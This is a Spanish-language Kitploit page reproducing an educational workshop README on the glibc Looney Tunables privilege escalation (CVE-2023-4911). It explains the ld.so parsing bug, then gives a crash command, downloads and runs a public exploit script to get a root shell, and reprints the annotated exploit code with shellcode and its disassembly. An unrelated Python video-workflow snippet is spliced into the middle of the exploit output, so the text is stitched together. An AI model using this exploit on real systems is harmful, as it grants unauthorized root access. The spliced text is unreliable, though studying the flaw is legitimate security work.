Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-4911 — Looney Tunables: taller de escalada de privilegios local (CVE-2023-4911) | Kitploit
Herramientas/GitHubGitHub/kernelkrise/cve-2023-4911
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y PrácticaArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables: taller de escalada de privilegios local (CVE-2023-4911)

Ver Repositorio
183hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-4911-Looney-Tunables

Taller de escalada de privilegios local Looney Tunables (CVE-2023-4911) (solo con fines educativos)

Enlaces:

  • Vídeo de IPPSEC
  • Entrada de blog de Qualsys
  • Detalles técnicos de Qualsys
  • Script de Python del exploit PoC
  • Fuentes de GLIBC
  • Documentación de tunables de GLIBC

Descripción

¿Qué es ld.so?

En informática, un enlazador dinámico es la parte de un sistema operativo que carga y enlaza las bibliotecas compartidas necesarias para un ejecutable cuando este se ejecuta, copiando el contenido de las bibliotecas desde el almacenamiento persistente a la RAM, rellenando tablas de saltos y reubicando punteros.

Por ejemplo, tenemos un programa que utiliza la biblioteca openssl para calcular el hash md5:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so analiza el binario e intenta encontrar la biblioteca relacionada con <openssl/md5.h>```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

Como podemos ver, encuentra la biblioteca criptográfica necesaria en /lib/x86_64-linux-gnu/libcrypto.so.3 Durante el inicio del programa, coloca el código de esta biblioteca en la RAM del proceso y enlaza todas las referencias a esta biblioteca.

Resumen

Cuando se inicia un programa, este cargador primero examina el programa para determinar las bibliotecas compartidas que requiere. Luego busca estas bibliotecas, las carga en memoria y las enlaza con el ejecutable en tiempo de ejecución. En el proceso, el cargador dinámico resuelve las referencias a símbolos, como referencias a funciones y variables, asegurando que todo esté listo para la ejecución del programa. Dado su papel, el cargador dinámico es altamente sensible a la seguridad, ya que su código se ejecuta con privilegios elevados cuando un usuario local lanza un programa set-user-ID o set-group-ID.

¿Qué son los Tunables de GLIBC?

Los Tunables son una característica de la Biblioteca C de GNU que permite a los autores de aplicaciones y a los mantenedores de distribuciones alterar el comportamiento de la biblioteca en tiempo de ejecución para ajustarse a su carga de trabajo. Estos se implementan como un conjunto de conmutadores que pueden modificarse de diferentes maneras. El método predeterminado actual para hacerlo es mediante la variable de entorno GLIBC_TUNABLES, estableciéndola en una cadena de pares nombre=valor separados por dos puntos. Por ejemplo, el siguiente ejemplo habilita la comprobación de malloc y establece el umbral de recorte de malloc en 128 bytes:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
Pasar `--list-tunables` al cargador dinámico para imprimir todos los tunables con valores mínimos y máximos:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

Descripción de la vulnerabilidad

Al comienzo mismo de su ejecución, ld.so llama a __tunables_init() para recorrer el entorno (en la línea 279), buscando variables GLIBC_TUNABLES (en la línea 282); por cada GLIBC_TUNABLES que encuentra, hace una copia de esta variable (en la línea 284), llama a parse_tunables() para procesar y sanear esta copia (en la línea 286), y finalmente reemplaza el original GLIBC_TUNABLES con esta copia saneada (en la línea 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
El primer argumento de parse_tunables() (tunestr) apunta a la copia de GLIBC_TUNABLES que está a punto de ser saneada, mientras que el segundo argumento (valstring) apunta a la variable de entorno GLIBC_TUNABLES original (en la pila). Para sanear la copia de GLIBC_TUNABLES (que debería tener la forma "tunable1=`aaa:tunable2=bbb"`), parse_tunables() elimina todos los tunables peligrosos (los tunables SXID_ERASE) de tunestr, pero conserva los tunables SXID_IGNORE y NONE (en las líneas 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

Desafortunadamente, si una variable de entorno GLIBC_TUNABLES tiene la forma "tunable1=tunable2=AAA" (donde "tunable1" y "tunable2" son tunables SXID_IGNORE, por ejemplo "glibc.malloc.mxfast"), entonces:

  • durante la primera iteración de "while (true)" en parse_tunables(), la cadena completa "tunable1=tunable2=AAA" se copia in-place a tunestr (en las líneas 221-235), llenando así tunestr;

  • en las líneas 247-248, p no se incrementa (p[len] es '\0' porque no se encontró ':' en las líneas 203-204) y por lo tanto p todavía apunta al valor de "tunable1", es decir, "tunable2=AAA";

  • durante la segunda iteración de "while (true)" en parse_tunables(), "tunable2=AAA" se añade (como si fuera un segundo tunable) a tunestr (que ya está lleno), desbordando así tunestr.

PoC

Comando:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
Payload:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

Exploitation

Esta vulnerabilidad es un desbordamiento de búfer sencillo, pero ¿qué deberíamos sobrescribir para lograr la ejecución de código arbitrario? El búfer que desbordamos se asigna en la línea 284 mediante tunables_strdup(), una reimplementación de strdup() que usa __minimal_malloc() de ld.so en lugar de malloc() de glibc (de hecho, malloc() de glibc aún no se ha inicializado). Esta implementación de __minimal_malloc() simplemente llama a mmap() para obtener más memoria del kernel.

Echemos un vistazo a este código:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### Sobrescribiendo punteros de la estructura link_map que se asignará próximamente
>ld.so asigna la memoria para esta estructura link_map con calloc() y, por lo tanto, no inicializa explícitamente varios de sus miembros a cero; esto es una optimización razonable. Como se mencionó anteriormente, calloc() aquí no es el calloc() de glibc sino el __minimal_calloc() de ld.so, que llama a __minimal_malloc() *sin* inicializar explícitamente a cero la memoria que devuelve; esto también es una optimización razonable, porque a todos los efectos __minimal_malloc() siempre devuelve un bloque limpio de memoria obtenida con mmap(), que el kernel garantiza que se inicialice a cero.
>
> Desafortunadamente, el desbordamiento de búfer en parse_tunables() nos permite sobrescribir memoria limpia obtenida con mmap() con bytes distintos de cero, sobrescribiendo así punteros de la estructura link_map que se asignará próximamente con valores no NULL. Esto nos permite romper por completo la lógica de ld.so, que asume que estos punteros son NULL.

#### Idea del desbordamiento
> Nos dimos cuenta de que muchos más punteros en la estructura link_map no se inicializan explícitamente a NULL; en particular, los punteros a estructuras Elf64_Dyn en el array de punteros l_info[]. Entre ellos, `l_info[DT_RPATH]`, la "ruta de búsqueda de bibliotecas", destacó de inmediato: si sobrescribimos este puntero y controlamos dónde y a qué apunta, podemos obligar a ld.so a confiar en un directorio que nos pertenece y, por lo tanto, cargar nuestra propia libc.so.6 o biblioteca LD_PRELOAD desde este directorio, y ejecutar código arbitrario (como root, si ejecutamos ld.so a través de un programa SUID-root).

> ¿A dónde debería apuntar el `l_info[DT_RPATH]` sobrescrito? La respuesta fácil a esta pregunta es: la pila; más precisamente, nuestras cadenas de entorno en la pila. En Linux, la pila se aleatoriza en una región de 16GB, y nuestras cadenas de entorno pueden ocupar hasta 6MB (_STK_LIM / 4 * 3, en bprm_stack_limits() del kernel): después de 16GB / 6MB = 2730 intentos tenemos una buena probabilidad de adivinar la dirección de nuestras cadenas de entorno (en nuestro exploit, siempre sobrescribimos `l_info[DT_RPATH]` con 0x7ffdfffff010, el centro de la región de pila aleatorizada). En nuestras pruebas, este ataque de fuerza bruta tarda ~30s en Debian, y ~5m en Ubuntu y Fedora (debido a sus manejadores automáticos de caídas, Apport y ABRT; no hemos intentado evitar esta ralentización).

> ¿A qué debería apuntar el l_info[DT_RPATH] sobrescrito? 
> En nuestro exploit, simplemente llenamos nuestros 6MB de cadenas de entorno con 0xfffffffffffffff8 (-8), porque en un desplazamiento de -8B por debajo de la tabla de cadenas de la mayoría de los programas SUID-root, aparece la cadena "\x08": esto obliga a ld.so a confiar en un directorio relativo llamado "\x08" (en nuestro directorio de trabajo actual) y, por lo tanto, nos permite cargar y ejecutar nuestra propia libc.so.6 o biblioteca LD_PRELOAD desde este directorio, como root.

Esquema:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### "\x08" byte en el desplazamiento -8 en .DYNSTR:
!["\x08" byte en xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC LPE:
Estoy usando mi antigua instantánea de kali linux para probar el PoC. Comprobemos si es vulnerable:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

¡Recibimos SIGSEGV, así que nuestro sistema es vulnerable a este CVE LPE!

Descarguemos el script del PoC y probémoslo:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
Entonces, nuestro build id de ld.so no está en la lista de objetivos, ¡arreglémoslo!
Deshabilita ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Comprueba de nuevo:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
Entonces, nuestro script POC encuentra algún offset útil, agreguemos nuestro build id de ld.so y el offset al script:
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
Restablecer ASLR:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

Probemos el script PoC de nuevo:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
¡Funciona!

También funciona con otros archivos SUID:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>

Ejemplo - Servicio de subida de vídeos

Procesa un archivo de vídeo subido, genera miniaturas y luego las almacena.

Flujo de trabajo (VideoServiceWorkflow)

root@kitploit:~
VideoServiceWorkflow
├── HandleUploadActivity (handle_upload)                # Step 1: Upload to S3
├── TranscodeVideoActivity (handle_video_transcoding)   # Step 2: Generate thumbnails
└── UpdateMetadataActivity (update_metadata)            # Step 3: Save metadata

Código del flujo de trabajo

  1. Crea la estructura del flujo de trabajo.
  2. Entrada: url.
  3. Las actividades gestionan los pasos de subida, conversión y metadatos.
  4. Se proporciona una política de reintentos personalizada para la actividad de metadatos con un intervalo máximo de 1 segundo.
root@kitploit:~
from flock.core import Flock, FlockAgent, FlockFactory
from pydantic import BaseModel, Field
from typing import Optional, List

# --- Data Models ---
class VideoServiceInput(BaseModel):
    url: str = Field(description="URL of the video to transcode")

class VideoServiceOutput(BaseModel):
    thumbnail_url: Optional[str] = Field(default=None, description="Thumbnail URL")
    metadata_url: Optional[str] = Field(default=None, description="Metadata URL")

# --- Activities ---
async def handle_upload(context, url):
    \"\"\"Upload video to S3.\"\"\"
    return {\"video_url\": \"s3://example-bucket/input.mp4\"}

async def handle_video_transcoding(context, video_url):
    \"\"\"Transcode the video, generating thumbnails.\"\"\"
    return {\"thumbnail_url\": \"https://example.com/thumb.jpg\"}

async def update_metadata(context, thumbnail_url):
    \"\"\"Save metadata to the database.\"\"\"
    return {\"metadata_url\": \"https://example.com/metadata.json\"}

# --- Workflow Setup ---
async def video_service_setup():
    flock = Flock(name=\"Video Processing Flock\")

    # --- Agent ---
    agent = FlockFactory.create_default_agent(
        name=\"video_agent\",
        input=VideoServiceInput,
        output=VideoServiceOutput,
    )

    # --- Workflow ---
    workflow = {
        \"steps\": [
            {\"activity\": handle_upload, \"name\": \"HandleUploadActivity\"},
            {\"activity\": handle_video_transcoding, \"name\": \"TranscodeVideoActivity\"},
            {\"activity\": update_metadata, \"name\": \"UpdateMetadataActivity\"},
        ]
    }
    agent.add_workflow(workflow=workflow, name=\"VideoServiceWorkflow\")

    flock.add_agent(agent)
    return flock

# --- Run ---
async def main():
    flock = await video_service_setup()
    result = await flock.run(\"VideoServiceWorkflow\", input={\"url\": \"https://example.com/video.mp4\"})
    print(result.result)

if __name__ == \"__main__\":
    import asyncio
    asyncio.run(main())

[~/cve]$ python3 gnu-acme.py /usr/bin/mount --help

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id uid=0(root)

root@kitploit:~
### Entonces, veamos el script del PoC:
Al comienzo del script del PoC tenemos el diccionario ARCH con algunas **arquitecturas de procesador** (dejé solo x86_64 ya que lo uso).
En este diccionario tenemos 
* "shellcode": para lanzar ""/bin/sh" con privilegios de root
* "exitcode": también es shellcode, pero ejecuta exit(0x66)
* "stack_top": es la dirección máxima posible de la pila en x86_64
* "stack_aslr_bits": son los bits de entropía en x86_64 (bits que cambian por ASLR)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

Desensamblado de shellcode```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall

7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall

e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall

root@kitploit:~
Exitcode disassemble```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

A continuación tenemos un diccionario con objetivos (build id de ld.so) y sus desplazamientos de desbordamiento de búfer.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }

root@kitploit:~
Luego, hay muchas funciones que reciben su nombre por lo que hacen y, en su mayoría, pueden reemplazarse por métodos de la librería pwntools.
Así que no veo el sentido de discutirlas en detalle, excepto por algunas de ellas.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


Tabla con entropía de ASLR en diferentes arquitecturas: Tabla con bits de entropía de ASLR

Descargar herramienta